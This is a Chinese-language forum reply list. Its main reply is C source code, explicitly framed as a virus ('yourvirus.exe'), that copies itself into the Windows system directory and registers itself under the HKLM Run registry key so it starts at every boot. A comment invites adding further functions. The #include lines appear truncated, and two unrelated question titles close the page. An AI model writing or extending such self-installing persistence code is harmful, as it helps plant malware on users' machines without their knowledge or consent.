回覆列表
  • 1 # 使用者7698895345900

    #include

    #include

    /*

    功能:使檔案開機自動執行

    思路:

    獲取檔案的路徑,將檔案複製到系統資料夾之下;

    在登錄檔中註冊檔案路徑,使其開機自動執行。

    提示:

    當然,還可以透過註冊程式為系統服務,使其開機自動執行.

    在執行程式之後,執行以下操作,使系統恢復原狀:

    2. 開啟登錄檔:

    [HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

    */

    void main()

    {

    char system[MAX_PATH]; //系統目錄路徑

    char pathtofile[MAX_PATH]; //要開機執行的檔案的完整路徑

    HMODULE GetModH = GetModuleHandle(NULL);

    //得到當前執行檔案的全路徑

    GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));

    //得到系統檔案所在目錄的路徑,如c:\windows\system32

    GetSystemDirectory(system,sizeof(system));

    //形成要複製到的全路徑,如c:\windows\system32\yourvirus.exe

    strcat(system,"\\yourvirus.exe");

    //自我複製到目標路徑

    CopyFile(pathtofile,system,false);

    //寫入登錄檔,以便開機自動執行

    HKEY hKey;

    //開啟登錄檔:路徑如下

    //HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

    RegOpenKeyEx(HKEY_LOCAL_MACHINE,

    "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

    //新增一個值,名稱隨意命名,值為要開機執行的檔案的完整路徑

    RegSetValueEx(hKey, "Writing to the Registry Example",

    0,REG_SZ,(const unsigned char*)system,sizeof(system));

    //關閉登錄檔:

    RegCloseKey(hKey);

    /*可以加入其他功能*/

    }

  • 中秋節和大豐收的關聯?
  • 芒果奶油蛋糕怎麼做?